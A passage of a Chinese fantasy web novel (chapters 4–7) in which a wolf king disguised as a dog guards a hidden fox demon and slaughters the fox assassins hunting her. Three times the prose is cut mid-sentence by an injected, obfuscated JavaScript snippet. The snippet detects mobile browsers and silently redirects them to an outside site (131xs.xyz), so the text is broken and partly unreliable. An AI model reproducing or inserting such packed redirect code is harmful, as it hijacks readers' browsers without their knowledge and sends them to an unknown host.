在妖界,能修炼成人的女妖就没有丑的,君泽琛身为狼王,自是有不少漂亮的女妖投怀送抱。 当初的他是钢铁直狼,愣是命令手底下的狼妖丢出去一个又一个,后来他的寝殿甚至是女妖与狐不得入内。 怎料有一天,他会和人类女性同床共枕,被她抱在怀里。 君泽琛不得不承认,这个人类的长相,哪怕在妖族也是很出众的。 精致小巧的五官,白净的皮肤,被他用爪子捂醒来,迷迷糊糊往他怀里钻的时候,就像是一根羽毛,轻飘飘地划过他的心头,痒了他一晚上。 第二天天还没亮,他就逃了出去,满身精力无处发泄,正巧在山里碰见了成群结队的野山鸡,抓回来给胡淼淼改善一下伙食。 女人看着野山鸡之后,掩藏不住的欣喜表情,让狼王大人产生了别样的情绪,心尖又隐隐开始发痒。 他不动声色用爪子挠了挠倒三角的鼻尖,汪了一声,催促她快点吃早饭。 虽然胡淼淼有些嫌弃他的狗盆,但现在已经顾不得那么多了,坐在火边享受她的早饭,他们做饭的材料并不多,更何况君泽琛的爪子不灵活,能把食物弄熟实属不易,基本上就是水煮鸡,不过没有佐料,反而没有影响原材料的口感。 她吃了大半只鸡,等她吃完,君泽琛从容地探过头,将剩下的几块不好啃的骨头吃掉。 胡淼淼舒坦地喟叹一声。 没有狐狸不吃鸡的,只有她这个倒霉蛋,从小到大自力更生,饿极了的时候肉别指望,挖野菜,啃树皮都是常态。 妖混到她这份儿上,也找不出第二个了吧。 回忆起往事的凄惨狐生,胡淼淼揉了揉有些酸涩的眼角,一把抱住了正在啃骨头的狗子。 “你真好!” 君泽琛猝不及防被夸了,冷傲地别过脸去,唯有尾巴一翘一翘的,心情还算不错 。 吃饱喝足,剩下的就是处理其他山鸡了,君泽琛一口气抓了十几只,能吃有一段时间了,不过有一件事,胡淼淼试图和君泽琛商量。 “你上两天抓伤了禽兽医,他都五六十岁了,身体不够强健,能不能送两只鸡去给他补补?” 毕竟大半夜给狗看伤,结果被狗挠了,这一冬天,村里的人帮她不少忙,胡淼淼之前说上门道歉,总得带点道歉礼。 她正愁自己一穷二白,没东西送人呢,正巧好狗抓了那么多只鸡。 鸡是它抓的,她自然要问它的意见。 庸医! 不提那件事还好,一提到兽医,狼的鼻子都快歪天上去了,一晚上的兴奋劲儿像是被破了一盆浪水,嘴角下降了三个像素点,看都看不出来那种,不过胡淼淼第一时间察觉到它的不高兴。 她耷拉下睫毛,思索:“好吧,我再想想办法。” 狗子不喜欢村里的人类,往日一有村路来人,哪怕是生病,都要支棱起来耳朵,瞪着眼珠子扫射过去。 可以说,狗子眼皮子底下的人类们,都被它的眼刀子扫射过。 又怎么会把抓来的野山鸡送出去当赔礼呢? 胡淼淼启唇,正要说什么,忽而见揣手的大狗动了,只见他伸出爪子,随意扒拉出两只鸡到她裙摆处,嘴里喷出一口哈气,状似很大度。 她眼睛一亮,又夸了一句:“你真好!” 狐狸从小食不饱穿不暖,更不会有人教她识字,很多东西都是她偷偷去别的小狐狸那里看两眼才知道的,学的词语匮乏,反反复复夸赞君泽琛是一只好狗。 换做刚认识那会儿,狼王这暴脾气肯定要甩她两个眼刀子。 她才是狗呢,他是狼!狼妖! 可眼下,他只是竖着毛茸茸的耳朵,睁一只眼闭一只眼,任由她拖着山鸡下山。 往日,他们形影不离,然而这一次 ,君泽琛在窝里没动,待她的身影消失之后豁然起身,抽出一缕术法,困住了那几只鸡,自己则晃着尾巴消失在山林之间,寻了一处隐秘的地方修复妖丹 妖族,修炼的时候会很忘我,时间流速往往很快,更甚者眼睛一闭,再一睁几十年就过去了。 怕错过时间某个女人又哭着找他,君泽琛一边修复内丹,一边留有一丝意识关注外界,等到了饭点,他回到了住处,却发现她并没有回来,顿时觉得事情有些不对。 却说胡淼淼那边,她知道好狗不乐意去山下的村子,所以自己带着那两只山鸡下山,在下山的路上,总感觉有两道似有似无的视线落在自己身上。 她警觉地扫视四周,积雪融化,道路泥泞 ,林间只有树枝摇曳的影子,其他什么都没有,可她从狐族逃至今日 ,对危险的感知度是不会错的。 “咕咕~” 正想着,突然看见有一只被捆绑的山鸡鬼鬼祟祟地迈着偷感十足的步伐,蹑手蹑脚试图逃跑,对方也发现她发现了自己,仗着她是个“人类”小姑娘,立即翅膀子一扇,开口脆:“人类!识相的就放开老子!老子是妖!当心我吃了你!” 万事万物都有欺软怕硬的本能,山鸡妖原本是山中修炼的野妖怪,虽然无法幻化出人形,但在鸡群里也算是有头有脸的妖,没想到有朝一日会被一只狼抓住投喂人类。 它一直在找机会逃跑,那只狼看起来不好惹,这个人类难道还惹不起吗? 所以,在胡淼淼抓着它下山之后,它就打算逃跑了。 逃跑不成,恼羞成怒,试图吓退人类。 除了捉妖师,没有人类会不怕妖,鸡精有恃无恐。 原以为,这个柔柔弱弱的人类在听见它说话之后会吓得落荒而逃,未曾想,对方那张漂亮的脸蛋上,露出一种它看不懂的表情。 然后 ……在鸡精惊恐的视线下,她环顾了一下四周,确定没人后,脑袋上冒出一对儿毛绒绒的白色大耳朵,后面又冒出一条蓬松的大尾巴,尾巴尖儿是蓝色的,向尾巴根渐变到白色。 她的一双漂亮的狐狸眼,也不知何时变成了浅蓝色,在阳光下晶莹澄澈,泛着一丝坏坏的恶劣,对它凶巴巴地呲了呲嘴,露出独属于兽类的小犬齿。 鸡精:“……” 它花容失色,竖着尾羽就要溜。 他们妖族与生俱来能掩藏住体内的妖气,除非动用妖力,或暴露妖族本相,不然其他妖都很难察觉。 天杀的,谁能想到这个看起来仙里仙气的人类女子,竟然是一只妖? 看样子还是它的天敌! 野山鸡修炼多年,也没能幻化出人形,就算胡淼淼的实力在妖界低微,也不是它能对付得了的,更何况还有种族压制。 半刻钟后,没控制住尾巴的小狐狸薅住鸡精的翅膀,“还吃我吗?” 鸡精瑟瑟发抖:“不……不敢。” “山下村子里嚷嚷的妖怪,是你吗?” “不……不是,我哪有那胆子,他们那边有捉妖师,我去村里不是找死吗?我躲他们还来不及呢。” “狐狸祖宗,您就放了我吧,我还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031704|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能幻化人形,哪有那本事?倒是我听附近的小妖说,最近山里确实来了挺多野妖,他们实力不俗,也能幻化成人,您可悠着点。” 胡淼淼心中一沉,妖界之外的野生妖怪她或许能对付,如果出现能幻化成人的,她是打不过的。 那妖怪不祸害人还好,如果祸害人,山下的村民怕是要落难了。 鸡精生了灵智,也算是妖了,胡淼淼现在能吃饱饭,不会饥不择食地对它下手,给了它一番教训,确定它没有祸害人的能力,狠狠威胁一番,让它不暴露自己的身份,也就由它去了。 自己则塞了半天、把不听话的尾巴和耳朵藏起来,若无其事下了山。 殊不知,在她下山不久之后,有数道白影从暗处消失。 -- 妖界,保留了族群的习性,狐族有四大族群,分为青丘、涂山、纯狐、以及有苏。 前不久,有苏与青丘联姻,闹出了不小的笑话。 传言苏妲己出自有苏,而有苏的狐妖生得千娇百媚,比其他狐族更加美艳动人。 谁知青丘的那位狐族继承人白青谛竟然在成婚的前几日,招惹了一只有苏的野狐狸,导致双方颜面尽失,婚礼一直延后。 狐族都知道,有苏的那位王女正在派人抓野狐狸,更是要青丘给一个说法。 青丘的王再三保证,白青谛绝对会好好对待王女苏山灵,为表决心,一定会抓住那只勾引他的白狐,当众处置! “少君,正如你所料,那只狐妖确实躲到了人间,我们已经找到了她的位置,是否即刻捉拿?” 一方山水养一方人,青丘的景色和青丘狐妖一样,美得不可方物,绿意覆盖山峦,青山绿水,钟灵毓秀,空气中弥漫着的雾气隐含的都是灵气,影影绰绰能看见瀑布的山石上,一青衣男子负手而立,眺望远方。 他身后,跪地不起的人不敢抬头,沉声禀报:“只要捉拿到那只狐狸,当着王女的面斩杀,您就可以成功迎娶王女了。” “如果不是那孽障胆大包天竟敢勾引少君,少君现在已经和王女成婚了,岂会看他人脸色?” 自古以来,联姻都是为了巩固势力,狐族性yin,青丘的妖王的生活更是糜烂,哪怕修为越高,孕育子嗣更难 ,也在百年间留下了几十只狐狸。 白青谛虽为继承者,但还是经常因为那些乱七八糟的弟弟妹妹们而感到困扰。 能娶到有苏的王女,继承者的身份更是无法撼动了。 可惜,半路因为那只狐妖勾引,做了糊涂事儿。 前来禀报的那只狐狸在心里嘀咕,就算那只狐妖长得绝美,少君也不该如此糊涂啊。 他说了良久,都没见少君说话,不由得抬头,便见少君负手而立,还在眺望远方,不知在看些什么。 终于,不知过了多久,青衣男子开口:“孽障?勾引?” 他转过身,一身青衣包裹着挺拔的身躯,黑中夹杂着几丝红色的头发束起,露出一张俊美妖异的面庞,哪怕是狐族的男子,也同样蛊惑人心。 他轻笑:“你一个畜生,好意思骂她是孽障,你怎知,不是本君勾引她呢?” 狐族属下脸色一变,还不等说什么,就被一股强大的威压硬生生碾碎了身躯。 白青谛笑意不达眼底,漫不经心道:“去,看紧她,等本君处理好手头上的事儿,就去寻她,在那之前,本君不想看见你们自作主张,懂吗?” “是。” 暗处,几道身影嗖嗖嗖窜了出去,气息眨眼间就消失在青丘 ,奔向人界。 5. 第 5 章 人界—— 从兽医那里回来的胡淼淼后脊一凉,像是被什么东西盯上了。 山里多了陌生的妖怪,胡淼淼在送礼的时候已经和兽医说过了,兽医不以为然,说与其担心妖怪,不如担心那只狗有没有狂犬之症。 他们村请了一位特别厉害的捉妖师,甭管什么妖怪,只要被捉妖师抓住苗头,分分钟送妖怪去超度。 吓得胡淼淼不敢多待,就算她不暴露妖气对方认不出她是妖,但谁知道捉妖师有没有其他手段能抓住她的狐狸尾巴? 回山上的路上,那种不详的预感越发强烈,她怕有东西跟她回家,刻意在半路上绕了一圈又一圈。 沙沙—— 左侧的灌木丛里隐约传来的声音没能逃过狐狸耳朵,她一阵紧张,心尖随着那东西的靠近怦怦跳,腿更是如同灌了铅,扎根在土里一样,迈动不了分毫。 一滴汗,从额前滑落,漂亮的狐狸眼紧紧盯着那片紧密的木丛。 刷啦啦—— 隐藏在黑暗中的东西暴露在阳光下,那是一只体型健硕的狼,身姿矫健,四肢肌肉发达有力,狼毛蓬松,三角耳朵高高竖起,狭长的狼瞳森冷而锐利。 本应该站在山巅之上睥睨整个狼族的领袖,就这样站满枯叶的木丛里,板着一张充满怨气的狼脸,上上下下打量一番脆弱的人类,见她一副惊魂未定的模样,唇角扯了扯,无声嘲笑人类的胆小。 到点不回家吃饭,这是在村里乐不思蜀了? 亏他鼻子灵敏,才顺着味道找到了她,看她怎么解释! 然而下一秒,她满脸慌乱地扑到他身上,纤细的手臂环住他的脖子,紧紧抱住。 “好狗!有东西跟踪我。” 她像是找到了主心骨,无视狼的冷脸相对,用脸蛋蹭蹭他的耳朵,喋喋不休地告状:“山里有妖怪!它盯上我了,我们搬家吧,这山不安全。” 一而再再而三地窥视由不得她不多想。 下山的时候,她以为是野山鸡妖的视线,回来的路上,明显不可能再认为是好狗在看她。 好狗从来不会用那种让狐不安的眼神看她。 所以,是新来的野妖怪吗? 还是狐族的人找上来了? 听野山鸡说,那些新来的野妖怪已经能幻化成人形了,实力一定不弱,被她遇见,只有送死的份儿。 无论哪种可能,都让她惶恐不安,唯有抱紧了君泽琛毛茸茸的脖子,才能寻求到一点点安全感。 君泽琛听她用颤巍巍的语气说:“我们走吧,离开这里,换一个地方生活,好不好?” 君泽琛高深莫测的狼脸发生些许变化 ,森冷的视线似有似无地扫过她身后,林间,有树影在扇动,迟疑地用爪子拍了拍她的肩膀 ,拍了两下顿住,盯着她肩膀上的两个泥印大脑宕机两秒,心虚地用毛茸茸的爪背蹭了蹭,结果,越蹭越脏。 正在酝酿眼泪的胡淼淼也察觉到了狗的小举动,侧头看了一眼,然后看见了自己肩膀上的两个小梅花印…… 一狐一狼面面相觑。 君泽琛反而镇定下来,淡定地收回爪子,也在她的脸上按了一个梅花印。 胡淼淼:“……” 这一刻,她把害怕的情绪抛之脑后,捏住了“狗”耳朵。 “坏狗!给我洗衣服!” 狗子一副油盐不进的模样,胡淼淼气笑了,但也没有太怪他,毕竟他就是一只狗,又不是妖,做出什么事儿都是正常的。 她也没把衣服是事儿放着心上,回家后天色已晚,她整个人一直处于紧绷的状态,偷偷整理行李,她想着暗中的人没有立刻对她动手,应该在等待时机,一时之间不会对她动手。 她的一举一动都有可能在对方眼皮子地下,逃走需从长计议,在那之前,应该怎么和狗子解释呢? 虽然好狗平时看起来很聪明,但胡淼淼不觉得没开灵智的狗能理解她的所作所为。 这一夜,胡淼淼心里藏着事儿,基本没怎么睡安稳,甚至隐约还做了一个梦。 梦里,那只狗站在悬崖边上,回头看她一眼,说出了一句人话:“你敢搬家,我就死给你看。” 然后biu地一下就跳了下去。 胡淼淼心脏骤停,满头大汗地醒过来。 天边微亮,山洞里影影绰绰的光中,她对上了狗子疑惑的视线,她擦了擦额头的汗,一句话脱口而出:“你以后离悬崖远点?” 君泽琛:“……” 神经。 他转身在狗窝里刨了刨,刨出一件儿衣裙,用爪子推了推,沉静地蹲着。 胡淼淼眼睛一亮,“这是赔给我的?” 狗当然不会洗衣服,可是他动爪能力强,一件衣服还不是分分钟的事儿。 胡淼淼本来只是开玩笑的一句话,他却当了真。 那是一件白绒绒领子的衣裙,裙摆红白相间,仔细一看,气息竟然有几分熟悉,她细细观察,忽然脸色惨白,手如触电了一般,丢掉那件衣服。 “狐狸皮?” “嗷呜?”狼苍绿色的眼里闪过一抹不悦,不明白她在叫什么,狐狸皮就狐狸皮,不过是昨儿夜里追她回来的野狐狸,不杀了难不成要留着下狐狸崽吗? 没错,君泽琛昨日从入定中醒来,没有找到胡淼淼,便顺着气息寻找过去,与胡淼淼汇合,就敏锐地察觉到了她身后的两只狐狸,白日里好不容易积攒的力量就在晚上去对付狐妖了,结果某人还不领情。 早就知道胡淼淼胆子小,可是君泽琛没想到她连狐狸皮都怕。 他烦躁地踱了两步,用爪子将衣服扒了回去,她如惊弓之鸟,慌乱地后退,最后竟然丢下他转身就跑了。 君泽琛:“??” 他看了看地上的衣服,又看了看她逃跑的背影,在叼着衣服狂追和生气不理她之间,选择了生气地叼着衣服狂追。 他一追,胡淼淼更慌了,一狐一狼在林间上蹿下跳。 胡淼淼人形跑的不利索,又不敢贸然露出狐狸尾巴到处跑,鬼知道会不会在跑的时候突然冒出来一个捉妖师,所以两驱的终究没跑过四驱的狼,没一会就被怼在一棵树下瑟瑟发抖。 “你别过来!” 那可是狐狸皮! 她狐族的尸体! 从然她被狐族欺负,也从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031705|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没胆子起杀心。 那件衣服,和让她穿狐族尸体有什么区别? 狐皮又是哪来的? 和异族不同,同族和同族有特殊的感应,她能察觉到这狐狸的气息还未散去,刚死不久。 还有一个问题,这狐狸是怎么死的? 现在,胡淼淼看着君泽琛的眼神又惊又惧,脸色苍白的像是山涧未消融的雪,一双上挑的狐狸眼睁大,如同一个受惊的小动物,眼尾都被逼红了。 眼见那张“狐狸皮”越来越近,她又逃不掉,急得用手指挠了挠树皮,最后抱着树干,脸蛋一埋,仿佛这样,狐狸皮就不会靠近她。 从君泽琛的角度,就是某个人类在和小鹌鹑似的抖啊抖,他冷漠的想着,但凡给她按上一条狼尾巴,现在那条尾巴都炸成蒲公英了吧? 可惜,她没有尾巴。 吓得只敢抱着大树掩耳盗铃,瘦弱的身躯抖成了筛子,身上还穿着之前的破衣服,洗得都快发白了,也不愿意换上他给的新衣服。 君泽琛停下步伐,深深地凝视她。 他的目光很锐利,像是一片片刀刃,刮过她的身躯,直把狐狸看得背脊发麻,恨不能找个地方钻进去。 狗是她养的,他们同处一个屋檐下,对方从未做过攻击性的举动,给胡淼淼一种狗是一只好狗的错觉。 而今,对方都杀狐狸了,颠覆了胡淼淼对他的认知,同族的尸体让她心惊胆战的同时,更加努力地藏狐狸尾巴。 胡淼淼害怕地吸了吸鼻子,总感觉身后的大狗不太友善,随时都能给她一口。 山林里,绿荫蔽日,是阳光照不进的温暖,呼呼的冷风遮挡在外面,头上不知是什么鸟的叫声,森然恐怖,锋芒在背的胡淼淼不断安慰自己,不会的,它是一只好狗,兴许狐狸皮是其他妖怪斗争留下的尸体,恰巧被它捡回来的呢? 兴许,它只是单纯的想给她一件漂亮衣服。 都养好几个月了,又没暴露狐狸尾巴,狗怎么会突然对她不利呢? 毕竟,她除了这身皮囊,没其他值得图谋的。 不要用自己卑劣的思想,去揣测朝夕相处的朋友。 她悄悄给自己打气,抱树转一圈,躲在树后,正欲开口,却见刚才还在她身后的狗不见了,唯有地上的狐皮衣服被遗弃在地上,细小的风终于穿过茂密的林子,吹动着衣角,上面沾上了黑色泥点异常醒目。 胡淼淼不知所措。 好狗就这样走了? 胡淼淼之前被恐惧占据了脑子,忘记了自己的举动会不会伤到狗子的心,毕竟在狗看来,只是想给她一件衣服而已。 结果,她弃如敝履。 她心里一揪,豁然大步走过去,颤巍巍捡起地上的狐狸皮,冲它消失的方向喊一声:“今晚还回来吃饭吗?” 回应她的是冬季即将溜走的余风,叫嚣着,哀号着,吹动着她脸侧的碎发,她低垂下睫毛,瞳孔有些空洞。 就在她以为,它不会回来的时候。 远处,林子里传来阴阳怪气的狗叫。 “嗷呜汪!”不吃,离家出走了。 他这一走,就是一辈子! 6. 第 6 章 兔子急了尚且咬人,更何况是狼呢? 君泽琛敏锐地察觉胡淼淼对他的防备和害怕。 作为狼族,没有朋友,哪怕是亲人,也不可信。 有的只是弱肉强食。 在狼族看来,感情是最脆弱不堪一击的。 他想,大概是人界待久了,或者重生的时候忘记带脑子,才会产生和人类一起生活下去的想法。 终究是不同的,不过是为了一张狐狸皮便对他生了戒心,看看,这便是人性。 等伤好了就离开吧。 君泽琛冷漠的想着。 接下来的几日,他在山里除了修复妖丹,就是猎杀踏入他领地的狐妖。 狼族的本性,就是占有欲极强的生物。 这山,既然他在,就是他的领域,任何狐妖都不可踏入半步。 踏入山里的狐族们,水深火热中,胡淼淼则穿着新衣服,撑着下巴守在洞门口数鸡。 和狗吵架后,那只狗再也没回来过。 她现在新穿的衣服是和好狗吵架的第二天凭空出现在山洞口的,没有奇奇怪怪的狐狸毛,只是单纯人类常穿的袄裙。 好狗抓来的鸡,除了那只跑了的精怪,其他鸡都是普通野山鸡。 她就吃了一只,剩下的都留着的。 然而,还是会每天少一只。 因为每天到中午饭点的时候,那只离奇死亡的鸡会出现她的餐桌上。 晚上的时候,会有一条烤得惨不忍睹的鱼,出现在她的餐桌上。 每天都这样,日复一日,准时准点。 胡淼淼来者不拒,给啥吃啥,很好养活,连烤鱼上的狗毛差点都吃了。 那事是她不对,她怀着内疚的心态,狠狠吃了一条掺着毛毛的烤鱼。 她有想过去找好狗道歉,但对方显然在躲着她,每次只能看见那一串超大的梅花印,见不到真身。 那狗差不多成精了,聪明得和什么似的。她跟着梅花印追过去,竟然看见了更多杂乱的梅花印,四面八方都是它的脚印,故意给她出难题。 又是一声轻叹,把鸡都拴好,正打算继续和好狗玩捉迷藏,却突然发现多了一只鸡。 胡淼淼的眼尾上挑,若无其事地数了数,随即指出一只鸡,“今晚就吃这个。” “咕咕?”被指定的那只鸡瞪大了眼睛:“那么多只鸡,你凭什么就吃这个!” “那你为什么要躲在我的鸡群里?”胡淼淼将它从鸡群里提溜出来,保持微笑,“不就是想下锅吗?” 什么你的鸡群,明明是我的鸡群。 鸡精原本想吐槽,然而看见她露出的犬齿立马怂了,慌乱地扑腾翅膀,连称呼都变了。 “不是,是最近山里不太平,我害怕,来您这躲躲。” “不太平?”联想起前段时间的窥探,胡淼淼心中一凛,也不再和鸡精闹,询问山里发生了什么。 鸡精说,最近山里很多妖怪都死于非命,连前段时间新进来、能幻化成人的妖族都统统消失了。 鸡精是一个没什么实力的小菜鸟,唯一的优点就是能苟。 苟命这一块,它熟练得很。 它一看山里的妖莫名其妙死亡,就躲到了胡淼淼这里努力伪装成普通鸡。 反正天塌下来有高个子顶着,山里那玩意儿要杀妖,也应该先挑胡淼淼下手。 当然,最后一句话 ,鸡精聪明地没说。 怪不得这些日子风平浪静,没有再出现那种危险的感觉,原来是新来的妖被杀了 。 不过胡淼淼并没有放松警惕,因为就算没有新来的妖怪,还有位置的危险生物。 更让她关心的是好狗。 万一它被危险生物抓去吃肉了怎么办? 鸡精想活命,于是胡淼淼和它做了一个交易,鸡精熟悉山里的状况,所以胡淼淼让它帮忙找狗。 鸡精再次大惊:“不行,那狗不正常,凶着呢,谁敢找它?我不要命的吗?” 胡淼淼一听不乐意了,对它怒目而视:“哪凶了?我家狗就长得凶了一点,体型大了一点,脾气臭了一点,但它老实巴交,才没你说的那么坏,不听我的,现在就吃了你!” 胡淼淼的长相无论做出如何表情都不会很凶,可架不住天生的种族压制,鸡精当场怂了。 它嘀嘀咕咕着,狗不坏怎么把它们一窝的野山鸡全端了? 罪证就在旁边,狐狸祖宗视而不见,它能怎么办? 它一双圆溜溜的眼睛滴溜溜转,声称如果那只狗咬吃鸡,胡淼淼得保护着点它。 再次被狐狸祖宗凶了,狐狸祖宗表示,她家狗哪哪都好,不要以小鸡之心度狗子之腹! 她觉得,前段时间自己不分青红皂白错怪狗了,那狗一定伤心极了,伤心之余还要照顾她的一日三餐,内疚加倍! 接下来一段时间,胡淼淼一边等鸡精消息,一边尝试过在饭点的时候蹲狗,不过每次都徒劳无功,有时候被什么东西吸引了注意力,一回头饭已经准备好了,有时候莫名其妙睡着了,被饭的香味弄醒,所以只能把希望寄托在鸡精身上。 然而,日子还在继续,鸡精声称最近山里又来了一批妖怪,又被神秘物种弄死了,来一波死一波,而狗子一直没找到,胡淼淼只能通过每天准备好的食物来判断狗还活着。 其实这段时间 ,君泽琛很忙,那群狐狸精好像地里的韭菜,噶完一茬还有一茬儿,使得他更加厌恶狐狸这种生物。 一想到那个人类就是因为狐狸皮害怕自己,君泽琛更是没有心慈手软。 除了杀狐狸,还要准备人类食物,以及修补内丹,缝缝补补勉强能短暂恢复人形了。 他漫不经心看着右手掐着的狐狸。 那是一只火红色的狐狸,尾巴尖是白色,嘴巴尖尖的,慌乱地吱哇乱叫,窄而长的眼睛里全是惊惧。 怪不得少君派来的狐狸都杳无音讯了,原来是这座山中有这等危险的存在。 火狐看不出男人的力量,甚至连他是人是妖都分不清,它好半晌才反应过来自己会说人话,报上家门:“你是什么人,我们无冤无仇,为何要跟我们过不去,杀了我们这么多狐狸。” “我乃青丘狐仙,如果你放了我,我可既往不咎,如果不放,当我青丘的仙找过来,你必遭天谴!” 它故作大度,君泽琛了解狐妖,看出了它眼底的狡猾和阴毒,换做其他人早就上当了。 “妖就是妖,还妄想登仙,也就糊弄糊弄那些愚蠢的凡人。”君泽琛嗤之以鼻,手一用力,咔嚓一声拧断了它的脖子,火狐大概没料到此人说动手就动手,死后还瞪大了眼睛,神色狰狞阴狠。 君泽琛像是丢垃圾一样地丢掉死狐狸,突然耳边传出细小的呼吸声,那个声音仿佛小动物发出来的 ,如果不是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031706|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对气息比较敏感,根本察觉不到。 “又来了一只野狐狸么……” 倏然,他的声音戛然而止。 这段时间他内丹修复了很多,短暂恢复人形,感知力更是比以往强大,神识稍微一扫,便看见了躲着木丛里,抱着一只乌漆嘛黑的鸡瑟瑟发抖的女人。 胡淼淼蹲在灌木中,可怜兮兮地蜷缩成一小团,一手捂着自己的嘴,一手捂住鸡精的嘴,露在外面的眼眸水汪汪的,眼底沁着水雾,想哭,怕自己哭出来引起那个杀狐狂魔的注意力。 没错,胡淼淼都看见了,她浑身僵硬,透过朦胧的眼泪,看着站在一群尸体之中的男人。 一只只火狐倒在地上,数不清,她也不敢数。 胡淼淼所有的注意力都在男人身上。 他一袭玄衣,穿插着满身的银饰,腰封处围绕着一串银铃,领口微深,露出修长的脖颈和脖子侧面的黑色纹路,是一个很简约的图案,胡淼淼认定,那是一只狗,仰着脖子,露出獠牙的狗!狗尾巴蔓延入领口,看得不太真切! 当然,狗不狗的都不是重点,重点应该是,这男人好高好壮! 哪怕被衣服包裹着身躯,依旧能看见他浑身肌肉隆起的爆发力,一拳头就能打死十只小狐狸! 胡淼淼巨怂,不自觉屏住了呼吸,憋得脸色通红,仿佛这样对方就不会发现她。 神啊,狐神在上,快,救救狐! 显然,狐神不会庇佑她,因为在男人脚下,已经死了一地的狐狸,多她一个不多,少她一个不少。 更何况胡淼淼是狐族的异类,在狐族从没被狐神庇佑过。 对方似乎发现了她,踏着狐狸们的尸体,一步一步向这边走来。 胡淼淼瞳孔放大,近距离地看清楚了男人的长相。 很狂! 很野! 狐的知识量很少,只找到了这四个字的形容词,最后在心里干巴巴地憋出个新词。 很凶! 太凶了,她觉得这个男人的五官很有攻击性,不丑,反而很俊美,俊美得不像人,像一把开了锋的剑,看看那左侧眉峰到眉尾之间,还有一道小疤将他的剑眉断开,一定经常打架留下的。 他的脚步沉稳,一步一步靠近,胡淼淼的心也跟着一抽一抽的,怎么办怎么办。 狐狸尾巴,对,藏好尾巴,假装自己是柔弱不能自理的人类。 她捂着嘴,眼巴巴地仰头,正要开口求饶,却见对方不知为何停下了脚步。 他的表情略微古怪,眉头压低,目光森寒,极具压迫感,也不知发没发现,总之眼神不太友善。 胡淼淼的左手凉凉的,她缩了回去,怀里捂着的鸡精啪嗒一下掉在地上,还弹了弹,滚了一身灰。 早在看见男人杀狐狸的一刹那,比小狐狸还弱的鸡精就已经两眼一翻昏了过去。 然而不知怎么,睡着睡着屁股有点凉凉的。 在诡异又危险的氛围中,鸡精抖了抖屁股上的尾羽,继续昏睡。 看得胡淼淼有些羡慕,她也想昏过去,这样被人杀掉的时候 ,就不会疼了。 唔,是个好主意! 小狐狸灵机一动,学着鸡精的模样,啪嗒一下躺平了,双手交叠在腹部,就这样在君泽琛危险的视线下,躺得十分安详。 死脑,快昏! 她现在是个死人,总不至于补刀吧? 7. 第 7 章 胡淼淼不想死。 她的脑子不断模拟变成小狐狸逃跑,或者起来装柔弱,兴许男人就改变主意不杀她了。 可两种方案都行不通。 前者是,她的四肢叛变得不听使唤,软得和狐狸尾巴似的,别说是跑,就是爬都爬不起来。 至于后者,碰见心善的人,兴许装柔弱对方就心软了,可是对方杀了那么多只狐狸,怎会是善良之辈? 心思百转之间,男人冷淡之中夹杂着血腥味的气息已经缭绕在鼻尖了。 胡淼淼不敢睁开眼睛去看,却能感知到对方就站在她不远处,只要挥开树丛,她就会暴露在他眼前。 然而不知为何,对方停止了脚步。 气氛一再僵直,紧绷成了一根琴弦,稍有不慎,就会崩裂开来。 就在胡淼淼以为男人在打什么坏主意的时候,男人退步了。 他好似没发现胡淼淼的存在,只是经过这片灌木,不再做任何停留,大步离开,转瞬消失。 徒留满地的狐狸尸体,以及怂唧唧躺尸的胡淼淼,她悄悄睁开一只眼睛,透过缝隙观察,空气静悄悄的,充满侵略性的恐怖威压已经消失了。 他走了。 就这样蒙混过关了? 胡淼淼不敢相信,好半晌才软手软脚地从地上爬起来,摇醒地上的鸡精。 “别睡了,你还没幻化成人,怎么能睡得着?” 这座山一点都待不下去了,她很确信,死去的那几只狐狸来自于妖界狐族 。 在小小的狐狸眼中,狐族的其他狐妖就是一座无法跨越的大山,她一辈子都别想翻过去,唯有东躲西藏才能活下去。 刚刚的那个人,竟然轻而易举将所谓的大山踏平。 对于这样的人,别说是让她从他手底下逃跑,就连动一下都是奢望。 这次能活下来是侥幸,那么下次呢? 不行! “快带我去找狗!” 鸡精这一觉“睡”得不是很安稳,它梦见自己掉进了狐狸祖宗的窝里,被一只大狼起锅烧油,拔光了毛,清洗了内脏,小火慢炸,炸至金黄酥脆,撒上调料。 更可怕的是,它全程意识都是清醒的,甚至还有点嘴馋,火候刚刚好,正要进入狐狸嘴,突然山崩地裂了,它倏然睁开眼睛,就看见狐狸祖宗眼泪汪汪,让它去找狗。 鸡精第一想到的就是: 找狗干什么? 让狗起锅烧油,将它炸了吗? 第二想到的是,之前的那个强大的人呢?去哪了竟然没把他们都杀了? 胡淼淼告诉鸡精,他们侥幸没被发现。 野山鸡总觉得哪里不对劲儿,依那大佬的实力,不应该发现不了他们啊。 难不成…… 